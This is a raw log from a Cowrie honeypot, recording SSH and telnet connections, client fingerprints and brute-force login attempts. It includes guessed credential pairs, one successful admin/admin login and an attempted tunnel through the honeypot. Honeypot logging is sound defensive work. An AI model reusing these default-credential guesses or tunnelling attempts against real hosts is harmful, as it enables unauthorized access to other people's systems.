{"eventid":"cowrie.session.closed","duration":6.225050449371338,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:05.132901Z","src_ip":"134.209.8.29","session":"37d6031c9710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42160,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7f85566d703","protocol":"telnet","message":"New connection: 134.209.8.29:42160 (159.203.135.109:23) [session: e7f85566d703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:06.543567Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42186,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4a2ff27b3fb","protocol":"telnet","message":"New connection: 134.209.8.29:42186 (159.203.135.109:23) [session: a4a2ff27b3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:07.082252Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42174,"dst_ip":"159.203.135.109","dst_port":23,"session":"994b99c2fc5b","protocol":"telnet","message":"New connection: 134.209.8.29:42174 (159.203.135.109:23) [session: 994b99c2fc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:08.579396Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42192,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7eb097dfacd","protocol":"telnet","message":"New connection: 134.209.8.29:42192 (159.203.135.109:23) [session: d7eb097dfacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:08.604720Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":53972,"dst_ip":"10.17.0.5","dst_port":22,"session":"c507032622e5","protocol":"ssh","message":"New connection: 150.95.157.171:53972 (10.17.0.5:22) [session: c507032622e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:09.285510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:09.290908Z","src_ip":"150.95.157.171","session":"c507032622e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:09.450385Z","src_ip":"150.95.157.171","session":"c507032622e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p4ssw0rd","message":"login attempt [user/p4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:10.123524Z","src_ip":"150.95.157.171","session":"c507032622e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:11.294515Z","src_ip":"150.95.157.171","session":"c507032622e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":52108,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecbf3ca7167b","protocol":"ssh","message":"New connection: 148.216.28.11:52108 (10.17.0.5:22) [session: ecbf3ca7167b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:12.593857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:12.598580Z","src_ip":"148.216.28.11","session":"ecbf3ca7167b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:12.667751Z","src_ip":"148.216.28.11","session":"ecbf3ca7167b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user123","password":"123456","message":"login attempt [user123/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:12.972602Z","src_ip":"148.216.28.11","session":"ecbf3ca7167b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:14.044387Z","src_ip":"148.216.28.11","session":"ecbf3ca7167b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.00481104850769,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:17.113665Z","src_ip":"134.209.8.29","session":"b7d4b9815572","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58848,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d22ae539ac9","protocol":"telnet","message":"New connection: 134.209.8.29:58848 (159.203.135.109:23) [session: 0d22ae539ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:18.430518Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":57528,"dst_ip":"10.17.0.5","dst_port":22,"session":"2780f063e651","protocol":"ssh","message":"New connection: 34.135.200.178:57528 (10.17.0.5:22) [session: 2780f063e651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:21.040866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:21.048189Z","src_ip":"34.135.200.178","session":"2780f063e651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:21.083143Z","src_ip":"34.135.200.178","session":"2780f063e651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test@123","message":"login attempt [ubuntu/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:21.255580Z","src_ip":"34.135.200.178","session":"2780f063e651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:22.294178Z","src_ip":"34.135.200.178","session":"2780f063e651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58384,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a29c8483da2","protocol":"ssh","message":"New connection: 87.251.64.176:58384 (10.17.0.5:22) [session: 6a29c8483da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:23.098145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:23.102375Z","src_ip":"87.251.64.176","session":"6a29c8483da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:23.199002Z","src_ip":"87.251.64.176","session":"6a29c8483da2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:23.490747Z","src_ip":"87.251.64.176","session":"6a29c8483da2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:23.594955Z","session":"6a29c8483da2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:23.693345Z","src_ip":"87.251.64.176","session":"6a29c8483da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:23.793416Z","src_ip":"87.251.64.176","session":"6a29c8483da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45558,"dst_ip":"159.203.135.109","dst_port":23,"session":"9160009676a2","protocol":"telnet","message":"New connection: 174.138.46.234:45558 (159.203.135.109:23) [session: 9160009676a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:27.618731Z"}
{"eventid":"cowrie.session.closed","duration":9.302708387374878,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:27.733130Z","src_ip":"134.209.8.29","session":"0d22ae539ac9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":18804,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae9718a1c083","protocol":"ssh","message":"New connection: 2.57.121.112:18804 (159.203.135.109:22) [session: ae9718a1c083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:30.563839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:30.569288Z","src_ip":"2.57.121.112","session":"ae9718a1c083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:30.670636Z","src_ip":"2.57.121.112","session":"ae9718a1c083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"14091997","message":"login attempt [admin/14091997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:31.149363Z","src_ip":"2.57.121.112","session":"ae9718a1c083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"14091976","message":"login attempt [admin/14091976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:32.254041Z","src_ip":"2.57.121.112","session":"ae9718a1c083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57284,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6bd2fff3d5","protocol":"telnet","message":"New connection: 134.209.8.29:57284 (159.203.135.109:23) [session: 9d6bd2fff3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:32.805526Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"140885","message":"login attempt [admin/140885] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:33.357659Z","src_ip":"2.57.121.112","session":"ae9718a1c083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"140884","message":"login attempt [admin/140884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:34.462408Z","src_ip":"2.57.121.112","session":"ae9718a1c083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57300,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d12938a8482","protocol":"telnet","message":"New connection: 134.209.8.29:57300 (159.203.135.109:23) [session: 0d12938a8482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:34.537640Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"140790","message":"login attempt [admin/140790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:35.566601Z","src_ip":"2.57.121.112","session":"ae9718a1c083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:36.671521Z","src_ip":"2.57.121.112","session":"ae9718a1c083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.934539794921875,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:37.739933Z","src_ip":"134.209.8.29","session":"9d6bd2fff3d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.782876253128052,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:41.320382Z","src_ip":"134.209.8.29","session":"0d12938a8482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.01187086105347,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:44.042948Z","src_ip":"134.209.8.29","session":"b3c897d9eb73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":57716,"dst_ip":"10.17.0.5","dst_port":22,"session":"821379082f5a","protocol":"ssh","message":"New connection: 147.50.231.135:57716 (10.17.0.5:22) [session: 821379082f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:45.517490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:45.535020Z","src_ip":"147.50.231.135","session":"821379082f5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:45.799126Z","src_ip":"147.50.231.135","session":"821379082f5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1111","message":"login attempt [postgres/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:46.838407Z","src_ip":"147.50.231.135","session":"821379082f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:48.103302Z","src_ip":"147.50.231.135","session":"821379082f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.78131175041199,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:48.840640Z","src_ip":"134.209.8.29","session":"e28d535e1f4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":36730,"dst_ip":"159.203.135.109","dst_port":22,"session":"7477e6033e68","protocol":"ssh","message":"New connection: 187.141.71.166:36730 (159.203.135.109:22) [session: 7477e6033e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:55.554182Z"}
